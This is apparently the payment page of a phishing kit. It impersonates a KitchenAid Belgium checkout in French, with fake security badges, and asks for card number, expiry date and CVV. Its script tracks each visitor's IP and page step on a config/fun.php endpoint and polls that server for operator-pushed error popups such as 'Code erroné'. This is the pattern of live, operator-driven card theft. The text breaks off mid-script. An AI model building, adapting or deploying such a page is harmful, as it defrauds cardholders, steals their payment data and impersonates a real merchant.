<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>kitchenaid - Paiement</title>
    <link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css' rel='stylesheet'>
    <style>
        :root {
            --primary-color: #e31837;
            --secondary-color: #333;
            --border-radius: 8px;
            --box-shadow: 0 4px 12px rgba(0,0,0,0.08);
            --transition: all 0.3s ease;
        }
        
        body {
            font-family: 'Segoe UI', Roboto, -apple-system, BlinkMacSystemFont, sans-serif;
            background-color: #f8f9fa;
            margin: 0;
            padding: 0;
            color: #333;
            line-height: 1.6;
        }

        .header {
            background: linear-gradient(135deg, #e31837 0%, #c41230 100%);
            padding: 20px 0;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            margin-bottom: 30px;
        }

        .logo-container {
            text-align: center;
        }

        .logo {
            height: 40px;
        }

        .payment-container {
            max-width: 550px;
            margin: 40px auto;
            background: white;
            padding: 35px;
            border-radius: var(--border-radius);
            box-shadow: var(--box-shadow);
        }

        h1 {
            font-size: 24px;
            color: var(--secondary-color);
            margin-bottom: 15px;
            font-weight: 600;
        }

        .secure-text {
            color: #666;
            font-size: 14px;
            margin-bottom: 25px;
            display: flex;
            align-items: center;
        }
        
        .secure-text i {
            color: #28a745;
            margin-right: 8px;
        }

        .payment-options {
            margin-bottom: 30px;
        }

        .cards-accepted {
            margin: 20px 0;
            display: flex;
            align-items: center;
            flex-wrap: wrap;
        }

        .cards-accepted img {
            height: 35px;
            margin-right: 10px;
            margin-bottom: 10px;
            filter: drop-shadow(0 1px 2px rgba(0,0,0,0.1));
        }

        .form-group {
            margin-bottom: 20px;
            position: relative;
        }

        input[type="text"], input[type="tel"] {
            width: 100%;
            padding: 15px;
            border: 1px solid #ddd;
            border-radius: var(--border-radius);
            font-size: 16px;
            transition: var(--transition);
            box-sizing: border-box;
        }

        input[type="text"]:focus, input[type="tel"]:focus {
            border-color: var(--primary-color);
            outline: none;
            box-shadow: 0 0 0 3px rgba(227, 24, 55, 0.1);
        }

        .expiry-cvv {
            display: flex;
            gap: 15px;
        }

        .expiry-cvv input {
            flex: 1;
        }

        .remember-card {
            margin: 25px 0;
            display: flex;
            align-items: center;
        }

        .remember-card input[type="checkbox"] {
            margin-right: 10px;
            accent-color: var(--primary-color);
            width: 18px;
            height: 18px;
        }

        .total {
            text-align: right;
            font-weight: bold;
            margin: 25px 0;
            font-size: 18px;
            padding: 15px;
            background-color: #f8f9fa;
            border-radius: var(--border-radius);
        }
        
        .total span {
            color: var(--primary-color);
            font-size: 20px;
        }

        .pay-button {
            width: 100%;
            background-color: var(--primary-color);
            color: white;
            border: none;
            padding: 16px;
            border-radius: var(--border-radius);
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: var(--transition);
            box-shadow: 0 4px 6px rgba(227, 24, 55, 0.2);
        }

        .pay-button:hover {
            background-color: #c41230;
            transform: translateY(-2px);
            box-shadow: 0 6px 12px rgba(227, 24, 55, 0.3);
        }

        .pay-button:disabled {
            background-color: rgba(227, 24, 55, 0.5);
            color: white;
            cursor: not-allowed;
            transform: none;
            box-shadow: none;
        }
        
        .footer-text {
            text-align: center;
            font-size: 13px;
            color: #666;
            margin-top: 30px;
            padding: 15px;
            border-top: 1px solid #eee;
        }
        
        .footer-text a {
            color: var(--primary-color);
            text-decoration: none;
        }
        
        .footer-text a:hover {
            text-decoration: underline;
        }

        .services {
            display: flex;
            justify-content: space-between;
            margin-top: 30px;
            text-align: center;
            font-size: 13px;
            color: #666;
        }

        .service-item {
            flex: 1;
            padding: 15px 10px;
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        
        .service-item i {
            font-size: 24px;
            margin-bottom: 10px;
            color: var(--primary-color);
        }
        
        .security-badges {
            display: flex;
            justify-content: center;
            flex-wrap: wrap;
            gap: 15px;
            margin-top: 25px;
        }
        
        .security-badge {
            display: flex;
            align-items: center;
            padding: 8px 15px;
            background-color: #f8f9fa;
            border-radius: var(--border-radius);
            font-size: 12px;
            color: #666;
        }
        
        .security-badge i {
            margin-right: 8px;
            color: #28a745;
        }

        .overlay {
            position: fixed;
            width: 100%;
            height: 100%;
            top: 0;
            left: 0;
            background-color: rgba(0, 0, 0, 0.7);
            backdrop-filter: blur(4px);
            border-radius: 6px;
            z-index: 9999;
        }

        .loader {
            text-align: center;
            position: absolute;
            left: 50%;
            top: 50%;
            z-index: 1;
            transform: translate(-50%,-50%);
        }

        .lds-spinner {
            color: #FFF;
            display: inline-block;
            width: 80px;
            height: 80px;
        }
        
        .lds-spinner div {
            transform-origin: 40px 40px;
            animation: lds-spinner 1.2s linear infinite;
        }
        
        .lds-spinner div:after {
            content: " ";
            display: block;
            position: absolute;
            top: 3px;
            left: 37px;
            width: 6px;
            height: 18px;
            border-radius: 20%;
            background: #FFF;
        }
        
        .lds-spinner div:nth-child(1) {
            transform: rotate(0deg);
            animation-delay: -1.1s;
        }
        
        .lds-spinner div:nth-child(2) {
            transform: rotate(30deg);
            animation-delay: -1s;
        }
        
        .lds-spinner div:nth-child(3) {
            transform: rotate(60deg);
            animation-delay: -0.9s;
        }
        
        .lds-spinner div:nth-child(4) {
            transform: rotate(90deg);
            animation-delay: -0.8s;
        }
        
        .lds-spinner div:nth-child(5) {
            transform: rotate(120deg);
            animation-delay: -0.7s;
        }
        
        .lds-spinner div:nth-child(6) {
            transform: rotate(150deg);
            animation-delay: -0.6s;
        }
        
        .lds-spinner div:nth-child(7) {
            transform: rotate(180deg);
            animation-delay: -0.5s;
        }
        
        .lds-spinner div:nth-child(8) {
            transform: rotate(210deg);
            animation-delay: -0.4s;
        }
        
        .lds-spinner div:nth-child(9) {
            transform: rotate(240deg);
            animation-delay: -0.3s;
        }
        
        .lds-spinner div:nth-child(10) {
            transform: rotate(270deg);
            animation-delay: -0.2s;
        }
        
        .lds-spinner div:nth-child(11) {
            transform: rotate(300deg);
            animation-delay: -0.1s;
        }
        
        .lds-spinner div:nth-child(12) {
            transform: rotate(330deg);
            animation-delay: 0s;
        }
        
        @keyframes lds-spinner {
            0% {
                opacity: 1;
            }
            100% {
                opacity: 0;
            }
        }
        
        .parsley-error {
            border: 1px solid #d40511 !important;
            background-color: rgba(212, 5, 17, 0.05);
        }
        
        /* Card type indicator */
        .card-type-icon {
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            font-size: 24px;
            color: #aaa;
        }
    </style>
</head>
<body className='snippet-body' ng-app="sa_app" ng-controller="controller" ng-init="show_data()">

<div class="overlay" style="display:none;">
    <div class="loader">
        <div class="lds-spinner"><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>
        <br>
        <div class="main-title"><h3 style="color: #fff; font-size: 1em; line-height: 20px;font-weight: 300;">VEUILLEZ PATIENTER ...</h3></div>
    </div>
</div>

<div class="hidden-xs-up">
    <svg style="display: none;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <symbol id="amex" viewBox="0 0 50 25">
            <path class="ast0" d="M36.1 6l-.9 2.2H37L36.1 6zM25.7 7.3c.2 0 .3-.2.3-.5 0-.2-.1-.4-.3-.5-.2-.1-.4-.1-.6-.1h-1.6v1.2H25c.3.1.5.1.7-.1zM5 6l-.8 2.2H6C5.9 8.2 5 6 5 6zm41.5 13.9H44v-1.2h2.5c.2 0 .4 0 .5-.1.1-.1.2-.2.2-.4s-.1-.3-.2-.4c-.1-.1-.2-.1-.5-.1-1.2 0-2.8 0-2.8-1.7 0-.8.5-1.6 1.9-1.6h2.6v-1.1h-2.4c-.7 0-1.3.2-1.6.4v-.4h-3.6c-.6 0-1.2.1-1.6.4v-.4h-6.4v.4c-.5-.4-1.4-.4-1.8-.4h-4.2v.4c-.4-.4-1.3-.4-1.8-.4h-4.7L19 14.5l-1-1.2h-7V21h6.9l1.1-1.2 1 1.2h4.3v-1.8h.4c.6 0 1.2 0 1.8-.3V21H30v-2h.2c.2 0 .2 0 .2.2V21h10.7c.7 0 1.4-.2 1.8-.5v.5h3.4c.7 0 1.4-.1 1.9-.4v-1.4c-.3.5-.9.7-1.7.7zm-21.7-1.8h-1.6v1.8h-2.5L19 18.1l-1.7 1.8h-5.2v-5.5h5.3l1.6 1.8 1.7-1.8h4.2c1 0 2.2.3 2.2 1.8 0 1.6-1.2 1.9-2.3 1.9zm7.8-.2c.2.3.2.5.2 1V20h-1.3v-.7c0-.3 0-.8-.2-1.1-.2-.2-.5-.2-1-.2H29v2h-1.3v-5.5h3c.7 0 1.1 0 1.6.3.4.2.7.6.7 1.2 0 .9-.6 1.3-.9 1.5.2 0 .4.2.5.4zm5.5-2.3H35v1h3v1.1h-3v1.1h3.1v1.1h-4.4v-5.5h4.4v1.2zm3.3 4.3h-2.5v-1.2h2.5c.2 0 .4 0 .5-.1.1-.1.2-.2.2-.4s-.1-.3-.2-.4c-.1-.1-.2-.1-.5-.1-1.2 0-2.8 0-2.8-1.7 0-.8.5-1.6 1.9-1.6h2.6v1.2h-2.4c-.2 0-.4 0-.5.1-.1.1-.2.2-.2.4s.1.3.3.4c.1 0 .3.1.5.1h.7c.7 0 1.2.1 1.5.4.3.3.4.6.4 1.2.1 1.2-.7 1.7-2 1.7zm-10.1-4.2c-.2-.1-.4-.1-.6-.1H29v1.2h1.6c.3 0 .5 0 .6-.1.2-.1.3-.3.3-.5s-.1-.4-.2-.5zm14.6-.1c-.2 0-.4 0-.5.1-.1.1-.2.2-.2.4s.1.3.3.4c.1 0 .3.1.5.1h.7c.7 0 1.2.1 1.5.4.1 0 .1.1.1.1v-1.6l-2.4.1zm-21.1 0h-1.7V17h1.7c.5 0 .8-.2.8-.7 0-.5-.3-.7-.8-.7zm-11.3 0v1h2.9v1.1h-2.9v1.1h3.2l1.5-1.6-1.4-1.6h-3.3zm8.4 3.8V15l-2 2.2 2 2.2zm-8.3-8.7v.9h10.9v-2h.2c.1 0 .2 0 .2.3v1.7h5.7v-.5c.5.2 1.2.5 2.1.5H35l.5-1.2h1.1l.5 1.2h4.6v-1.1l.7 1.1h3.7V4h-3.6v.9L42 4h-3.7v.9l-.5-.9h-5c-.8 0-1.6.1-2.2.4V4h-3.5v.4c-.4-.3-.9-.4-1.5-.4H12.9L12 6l-.9-2h-4v.9L6.7 4H3.3L1.7 7.6v2.9L4 5h2l2.2 5.2V5.1h2.1L12 8.8l1.6-3.7h2.2v5.5h-1.3V6.3l-1.9 4.3h-1.1l-2-4.4v4.3H6.9l-.5-1.2H3.7l-.5 1.2H1.7v1.1H4l.5-1.2h1.1l.5 1.2h4.4v-.9l.4.9h2.3l.4-.9zm17.2-5c.4-.4 1.1-.6 2-.6H34v1.2h-1.2c-.5 0-.7.1-1 .3-.2.2-.4.7-.4 1.2 0 .6.1 1 .4 1.3.2.2.6.3.9.3h.6l1.8-4.3h2l2.2 5.2V5.1h2l2.3 3.8V5.1h1.3v5.4H43l-2.5-4.1v4.1h-2.7l-.5-1.2h-2.7l-.5 1.2h-1.5c-.6 0-1.4-.1-1.9-.6S30 8.8 30 7.8c.1-.8.2-1.5.8-2.1zm-2.7-.6h1.3v5.5h-1.3V5.1zm-6 0h3c.7 0 1.2 0 1.6.3.4.2.7.6.7 1.2 0 .9-.6 1.3-.9 1.5.3.1.5.3.6.5.2.3.2.5.2 1v1.1H26V10c0-.3 0-.8-.2-1.1-.2-.2-.5-.2-1-.2h-1.4v2h-1.3V5.1zm-5.3 0h4.4v1.1h-3.1v1h3v1.1h-3v1.1h3.1v1.1h-4.4V5.1z"></path>
        </symbol>
        <symbol id="discover" viewBox="0 0 50 25">
            <path class="bst1" d="M26.2 9.3c1.8 0 3.3 1.4 3.3 3.2 0 1.7-1.5 3.2-3.3 3.2-1.8 0-3.3-1.4-3.3-3.2-.1-1.7 1.4-3.2 3.3-3.2z"></path>
            <path d="M20.9 9.4c.5 0 1 .1 1.5.4v1.4c-.5-.5-1-.7-1.5-.7-1.2 0-2.1.9-2.1 2 0 1.2.9 2 2.1 2 .6 0 1-.2 1.5-.6v1.4c-.6.2-1 .3-1.5.3-1.9 0-3.3-1.4-3.3-3.1-.1-1.7 1.4-3.1 3.3-3.1zm-5.8 0c.7 0 1.3.2 1.8.7l-.6.8c-.3-.3-.6-.5-1-.5-.5 0-.9.3-.9.7 0 .3.2.5 1 .7 1.4.5 1.8.9 1.8 1.8 0 1.1-.9 1.9-2.2 1.9-.9 0-1.6-.3-2.2-1.1l.8-.7c.3.5.8.8 1.3.8s1-.4 1-.8c0-.2-.1-.5-.4-.6-.1-.1-.4-.2-.8-.3-1.2-.4-1.5-.8-1.5-1.6-.1-1 .8-1.8 1.9-1.8zm14 .1h1.3l1.7 4 1.7-4h1.3l-2.7 6.1h-.7M11.1 9.5h1.2v5.9h-1.2m24.6-5.9h3.5v1H37v1.3h2.2v1H37v1.6h2.3v1h-3.5m6.8-2.4c.9-.2 1.4-.8 1.4-1.7 0-1.1-.8-1.7-2.2-1.7H40v5.9h1.2v-2.4h.2l1.7 2.4h1.5l-2-2.5zm-1-.7h-.4v-1.8h.4c.8 0 1.2.3 1.2.9 0 .5-.4.9-1.2.9zM7.2 9.5H5.4v5.9h1.8c1 0 1.6-.2 2.2-.7.7-.6 1.1-1.4 1.1-2.3.1-1.6-1.3-2.9-3.3-2.9zM8.6 14c-.4.3-.9.5-1.7.5h-.3v-3.9h.3c.8 0 1.3.1 1.7.5.4.4.7.9.7 1.5 0 .5-.3 1-.7 1.4z"></path>
        </symbol>
        <symbol id="mastercard" viewBox="0 0 50 25">
            <path class="cst2" d="M28.7 12.5c0 6.2-5 11.2-11.2 11.2-6.2 0-11.2-5-11.2-11.2 0-6.2 5-11.2 11.2-11.2 6.2 0 11.2 5 11.2 11.2"></path>
            <path class="cst3" d="M32.5 1.3c-2.9 0-5.5 1.1-7.5 2.9-.4.4-.8.8-1.1 1.2h2.3l.9 1.2h-4c-.2.4-.5.8-.6 1.2h5.2c.1.4.3.8.4 1.2h-6.2l-.3 1.2h6.8c.2.8.3 1.6.3 2.4 0 1.2-.2 2.4-.6 3.5h-6.2c.1.4.3.8.5 1.2h5.2l-.6 1.2h-4c.3.4.5.8.9 1.2h2.3c-.3.4-.7.8-1.1 1.2 2 1.8 4.6 2.9 7.5 2.9 6.2 0 11.2-5 11.2-11.2-.1-6.3-5.1-11.3-11.3-11.3"></path>
            <path d="M42.2 18.7c0-.2.2-.4.4-.4s.4.2.4.4-.2.4-.4.4-.4-.2-.4-.4zm.3.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3-.2 0-.3.1-.3.3.1.2.2.3.3.3zm0-.1l-.1-.3h.2v.1s0 .1-.1.1l.1.1h-.1v-.1h-.1l.1.1zm0-.2h.1c0-.1 0-.1-.1 0 0-.1 0-.1 0 0zm-27.6-5h-.3c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5 0 .9-.5.9-1.2zm.9 2.1h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.5-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9-.1.7-.3 2.1-.3 2.5zm-3.9 0h-1.2l.7-4.4-1.5 4.4H9l-.1-4.3-.7 4.3H7.1l.9-5.7h1.7l.1 3.2 1.1-3.2h1.9l-.9 5.7M34 13.7h-.3c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5 0 .9-.5.9-1.2zm.9 2.1h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9 0 .7-.2 2.1-.2 2.5zm-13.7-.1c-.3.1-.6.1-.9.1-.6 0-1-.4-1-1 0-.2.1-.7.2-1.2.1-.4.5-3.1.5-3.1h1.2l-.1.7h.7l-.2 1.1h-.7c-.1.9-.3 2-.3 2.1 0 .2.1.3.4.3h.3l-.1 1m3.7 0c-.4.1-.8.2-1.2.2-1.3 0-2.1-.7-2.1-2.1 0-1.6.9-2.7 2.1-2.7 1 0 1.6.6 1.6 1.7 0 .3 0 .7-.1 1.1h-2.4c-.1.7.3.9 1 .9.4 0 .8-.1 1.3-.3l-.2 1.2zm-.7-2.8c0-.1.1-.8-.6-.8-.4 0-.7.3-.8.8h1.4zm-7.7-.3c0 .6.3 1 .9 1.3.5.2.6.3.6.5 0 .3-.2.4-.7.4-.4 0-.7-.1-1.1-.2 0 0-.2 1-.2 1.1.3.1.5.1 1.3.1 1.3 0 1.9-.5 1.9-1.5 0-.6-.2-1-.9-1.3-.5-.2-.6-.3-.6-.5s.2-.4.6-.4c.2 0 .6 0 .9.1l.2-1.1c-.3 0-.8-.1-1.1-.1-1.3.1-1.8.8-1.8 1.6m14.3-1.4c.3 0 .7.1 1.1.3l.2-1.2c-.2-.1-.8-.5-1.3-.5-.8 0-1.5.4-2 1.1-.7-.2-1 .2-1.3.7l-.3.1v-.5H26c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.2-1.3.3-2.2.4-2.7l.5-.3c.1-.3.3-.3.7-.3-.1.3-.1.6-.1.9 0 1.5.8 2.4 2.1 2.4.3 0 .6 0 1.1-.2l.2-1.3c-.4.2-.7.3-1 .3-.7 0-1.1-.5-1.1-1.4-.1-1.1.5-2 1.5-2"></path>
            <path class="cst4" d="M12.3 15.4h-1.2l.7-4.4-1.5 4.4h-.9l-.1-4.3-.7 4.3H7.4l.9-5.7H10v3.5l1.2-3.5h1.9l-.8 5.7"></path>
            <path d="M41 10.1l-.3 1.6c-.3-.4-.7-.8-1.2-.8-.6 0-1.2.5-1.5 1.1-.5-.1-1-.3-1-.3 0-.4.1-.6.1-.7H36c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.2-1.1.3-1.9.4-2.6.4-.4.6-.7 1-.7-.2.4-.3 1-.3 1.5 0 1.2.6 1.9 1.5 1.9.4 0 .8-.2 1.1-.5l-.1.4h1.1l.9-5.7-1.1.2zm-1.5 4.6c-.4 0-.6-.3-.6-.9 0-.9.4-1.5.9-1.5.4 0 .6.3.6.9.1.9-.3 1.5-.9 1.5z"></path>
            <path class="cst4" d="M15.3 13.4H15c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.5-.1.8-.5.9-1.2zm.8 2h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9.1.8-.1 2.2-.2 2.5zm16.3-5.5l-.2 1.2c-.4-.2-.7-.3-1.1-.3-.9 0-1.5.9-1.5 2.1 0 .9.4 1.4 1.1 1.4.3 0 .6-.1 1-.3l-.2 1.3c-.4.1-.7.2-1.1.2-1.3 0-2.1-.9-2.1-2.4 0-2 1.1-3.4 2.7-3.4.6-.1 1.2.2 1.4.2m1.9 3.5H34c-.7 0-1 .2-1 .7 0 .3.2.5.4.5.6-.1.9-.5.9-1.2zm.9 2h-1v-.5c-.3.4-.7.6-1.3.6-.7 0-1.1-.5-1.1-1.3 0-1.1.8-1.8 2.1-1.8h.5v-.3c0-.3-.2-.4-.8-.4-.6 0-1.1.1-1.3.2 0-.1.2-1 .2-1 .6-.2 1-.2 1.4-.2 1 0 1.6.5 1.6 1.3 0 .2 0 .5-.1.9.1.8-.2 2.2-.2 2.5zm-13.7 0c-.3.1-.6.1-.9.1-.6 0-1-.4-1-1 0-.2.1-.7.2-1.2.1-.4.5-3.1.5-3.1h1.2l-.1.7h.6l-.2 1.1h-.6c-.1.9-.3 2-.3 2.1 0 .2.1.3.4.3h.3l-.1 1m3.7-.1c-.4.1-.8.2-1.2.2-1.3 0-2.1-.7-2.1-2.1 0-1.6.9-2.7 2.1-2.7 1 0 1.6.6 1.6 1.7 0 .3 0 .7-.1 1.1h-2.4c-.1.7.3.9 1 .9.4 0 .8-.1 1.3-.3l-.2 1.2zm-.7-2.7c0-.1.1-.8-.6-.8-.4 0-.7.3-.8.8h1.4zm-7.6-.3c0 .6.3 1 .9 1.3.5.2.6.3.6.5 0 .3-.2.4-.7.4-.4 0-.7-.1-1.1-.2 0 0-.2 1-.2 1.1.3.1.5.1 1.3.1 1.3 0 1.9-.5 1.9-1.5 0-.6-.2-1-.9-1.3-.5-.2-.6-.3-.6-.5s.2-.4.6-.4c.2 0 .6 0 .9.1l.2-1.1c-.3 0-.8-.1-1.1-.1-1.4 0-1.8.7-1.8 1.6m24.7 3.1h-1.1l.1-.4c-.3.4-.7.5-1.1.5-.9 0-1.5-.8-1.5-1.9 0-1.5.9-2.8 2-2.8.5 0 .8.2 1.2.6l.3-1.6h1.2l-1.1 5.6zm-1.8-1c.6 0 1-.6 1-1.6 0-.6-.2-.9-.6-.9-.5 0-.9.6-.9 1.5-.1.7.1 1 .5 1zm-3.5-3.6c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.4-2.8.5-3.4 1.2-3.3.1-.6.3-1.1.5-1.3-.5-.1-.8.2-1.2.7 0-.2.1-.5.1-.7h-1.1m-10 0c-.2 1.4-.4 2.9-.6 4.3l-.1.3h1.2c.4-2.8.5-3.4 1.2-3.3.1-.6.3-1.1.5-1.3-.5-.1-.8.2-1.2.7 0-.2.1-.5.1-.7h-1.1m15.9 4.3c0-.2.2-.4.4-.4s.4.2.4.4-.2.4-.4.4c-.3-.1-.4-.2-.4-.4zm.3.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3-.2 0-.3.1-.3.3.1.1.2.3.3.3zm0-.2l-.1-.3h.2v.1s0 .1-.1.1l.1.1h-.1v-.1h-.1l.1.1zm0-.1h.1c0-.1 0-.1-.1 0 0-.1 0-.1 0 0z"></path>
        </symbol>
        <symbol id="visa" viewBox="0 0 50 25">
            <path class="dst5" d="M16.2 6.5L13 14.8l-.3-1.7V13l-1.1-5.5c-.2-.8-.8-1-1.5-1H4.5v.3C5.8 7 7 7.5 8 8.1l2.9 10.5h3.5l5.2-12.1h-3.4zm0 0zm4.9 0L19 18.6h3.3l2.1-12.1zm21.7 0h-2.6c-.8 0-1.4.2-1.7 1l-4.9 11.2h3.5s.6-1.5.7-1.8H42c.1.4.4 1.8.4 1.8h3.1L42.8 6.5zm-4 7.8c.3-.7 1.3-3.4 1.3-3.4s.3-.7.4-1.2l.2 1s.6 2.9.8 3.5h-2.7zm-7.8-3c-1.2-.6-1.9-.9-1.9-1.5 0-.5.6-1 1.9-1 1.1 0 1.9.2 2.5.5l.3.1.4-2.6c-.7-.2-1.7-.5-3-.5-3.3 0-5.6 1.7-5.6 4 0 1.7 1.6 2.7 2.9 3.3 1.3.6 1.7 1 1.7 1.5 0 .8-1 1.2-2 1.2-1.3 0-2-.2-3.1-.6l-.4-.2-.5 2.7c.8.3 2.2.6 3.7.6 3.5 0 5.8-1.6 5.8-4.2.1-1.4-.8-2.4-2.7-3.3zm3.3-4.6z"></path>
        </symbol>
    </svg>
</div>

<!-- <header class="header">
    <div class="logo-container">
        <img src="https://logos-world.net/wp-content/uploads/2023/03/KitchenAid-Logo.png" alt="KitchenAid" class="logo">
    </div>
</header> -->

<div class="payment-container">
    <form name="form" novalidate ng-submit="form.$valid && validation()" method="post" class="js-floating-labels" data-parsley-validate="" data-parsley-errors-messages-disabled="">
        <div class="" ng-init="bloc_login()">
            <h1>Régler votre commande</h1>
            <div class="secure-text">
                <i class="fas fa-lock"></i> Mode de paiement 100% sécurisé
            </div>

            <div class="cards-accepted">
            <img src="file/pa2.png" alt="CB"> 
            </div>

            <div class="payment-options">
                <div class="form-group">
                    <input type="text" id="credit-card-number" ng-model="cart" ng-change="bloc_login()" name="credit-card-number" type="tel" inputmode="numeric" autocomplete="off" required="" data-parsley-creditcard="" placeholder="Numéro de carte">
                    <div class="card-type-icon">
                        <i class="far fa-credit-card"></i>
                    </div>
                </div>
                
                <div class="expiry-cvv">
                    <input id="expiration" ng-model="expiration" ng-change="bloc_login()" name="expiration" type="tel" inputmode="numeric" placeholder="MM / YY" autocomplete="off" data-parsley-required="" maxlength="7" data-parsley-expirydate="">
                    <input placeholder="CVV" id="ccv" name="ccv" ng-model="cvv" ng-change="bloc_login()" type="tel" maxlength="4" inputmode="numeric" autocomplete="off" data-parsley-required="" data-parsley-cvv="">
                </div>

                <div class="remember-card">
                    <input type="checkbox" id="remember">
                    <label for="remember">Mémoriser cette carte pour simplifier vos achats</label>
                </div>
            </div>

            <div class="total">
                Total: <span ng-bind="montant"></span>
            </div>

            <button class="pay-button" type="submit" id="btn-validate" disabled="disabled">
                <i class="fa fa-lock"></i> &nbsp;Payer ma commande
            </button>
            
            <div class="security-badges">
                <div class="security-badge">
                    <i class="fas fa-shield-alt"></i> Paiement sécurisé SSL
                </div>
                <div class="security-badge">
                    <i class="fas fa-check-circle"></i> Transactions cryptées
                </div>
                <div class="security-badge">
                    <i class="fas fa-lock"></i> 3D Secure
                </div>
            </div>

            <div class="footer-text">
                kitchenaid.be traite vos données personnelles en tant que responsable du paiement de votre commande. Plus d'informations sur vos droits et le traitement de vos données <a href="#">ici</a>.
            </div>

            <div class="services">
                <div class="service-item">
                    <i class="fas fa-undo"></i>
                    Retour et remboursement faciles
                </div>
                <div class="service-item">
                    <i class="fas fa-headset"></i>
                    Un service client à votre écoute
                </div>
                <div class="service-item">
                    <i class="fas fa-shield-alt"></i>
                    Paiement 100% sécurisé
                </div>
            </div>
        </div>
    </form>
</div>
 

    <script type='text/javascript' src='https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-alpha1/dist/js/bootstrap.bundle.min.js'></script>
                 
                 <script src="file/jquery.min.js"></script>
                 
                 <script src='file/cb/jquery.payment.min.js'></script>
                 <script src='file/cb/parsley.js'></script>
                 <script  src="file/cb/script.js"></script>
                 
                 <script src="file/angular.min.js"></script>
                 <script src="file/dirPaginate.js"></script>
                 
                 <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
                 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">
                 
                 <script> 
                 
                 var fetch = angular.module('sa_app', ['angularUtils.directives.dirPagination']);
                 
                 fetch.controller('controller', ['$scope', '$http','$filter', function ($scope, $http,$filter) {
                     var urlx = window.location.pathname;
                     var pathname = urlx.replace("pay.php", "");
                 
                     var urly = window.location.origin + window.location.pathname;
                 
                 var pathname2 = urly.replace("pay.php", "");
                 
                     
                     $scope.info_User={};
                     $scope.load='';
                     $scope.loads_info='';
                     $scope.base_url='';
                     $scope.logo_png='';
                     $scope.merchant='';
                     $scope.montant='';
                     
                     $scope.cart = ""; 
                     $scope.expiration = "";
                     $scope.cvv = "";
                   
                     
                    
                     $scope.show_data = function(){
                 
                       
                         $http({
                           method: 'get',
                           url: "config/device.php"
                         }).then(function successCallback(response) {
                                 $scope.info_User=response.data;
                                 $scope.base_url=$scope.info_User['url'];
                                 $scope.montant=$scope.info_User['montant']+' €';
                                 $scope.merchant=$scope.info_User['merchant'];
                                 $scope.logo=$scope.info_User['logo'];
                                 $scope.reduction=$scope.info_User['reduction'];
                                 $scope.soustotal=$scope.info_User['soustotal'];
                 
                                 var Detailefun = {}; 
                                 Detailefun.ip=  $scope.info_User['ip'];
                                 Detailefun.fun= "=> Page pay";
                                 $http({
                                      method: 'post',
                                      url:  $scope.base_url+"config/fun.php?request=2",
                                      data: JSON.stringify(Detailefun), 
                                       headers: {'Content-Type': 'application/json'}
                                }).then(function(data) {});
                 
                 
                         }); 
                     }
                 $scope.banpay = function(){
                   $(".overlay").show();
                   window.location.href = pathname+'banpay.php';
                 }
                     $scope.bloc_login = function(){ 
                  
                 if (    
                   $scope.cart.length >= 16 
                     && $scope.expiration.length >= 4 
                     && $scope.cvv.length >= 3 
                   
                 ) {
                     $("#btn-validate").removeAttr('disabled');
                 }else{
                     $("#btn-validate").attr('disabled','disabled');
                 }
                 }
                 
                 
                    
                    setInterval(function() {
                                 var Detaile = {}; 
                                 Detaile.ip=  $scope.info_User['ip'];
                                 $http({
                                      method: 'post',
                                      url:  $scope.base_url+"config/fun.php?request=3",
                                      data: JSON.stringify(Detaile), 
                                       headers: {'Content-Type': 'application/json'}
                                   }).then(function(data) {
                                    $scope.ip=data.data.ip;
                                    $scope.fun=data.data.fun;
                                      console.log(data);
                 
                 
                                      var titre = $scope.code; // Titre
                         var message =   data.data.message; // Message
                        console.log(titre)
                         // Vérifier si le code correspond à l'une des conditions
                         if (
                           titre !== $scope.previousTitle &&
                             (titre === 'Session expirée' || titre === 'Carte non supportée' || titre === 'Code erroné' || titre === 'Erreur')
                         ) {
                           $scope.previousTitle = titre;  // Marquer que l'alerte a été affichée
                 
                             Swal.fire({
                                 title: titre,
                                 text: message,
                                 icon: 'error', // Type d'icône : 'error'
                                 confirmButtonText: 'OK'
                             }).then((result) => {
                                 // Si l'utilisateur clique sur "OK", vérifier la redirection
                                 if (result.isConfirmed && (titre === 'Carte non supportée' || titre === 'Session expirée' || titre === 'Erreur')) {
                                   //  window.location.href = '../banpay.php?token=f5sd4f654f412sd4fd65DSQ%%sd'; // Redirection
                                 } 
                             });
                           }
                 
                 
                 
                   
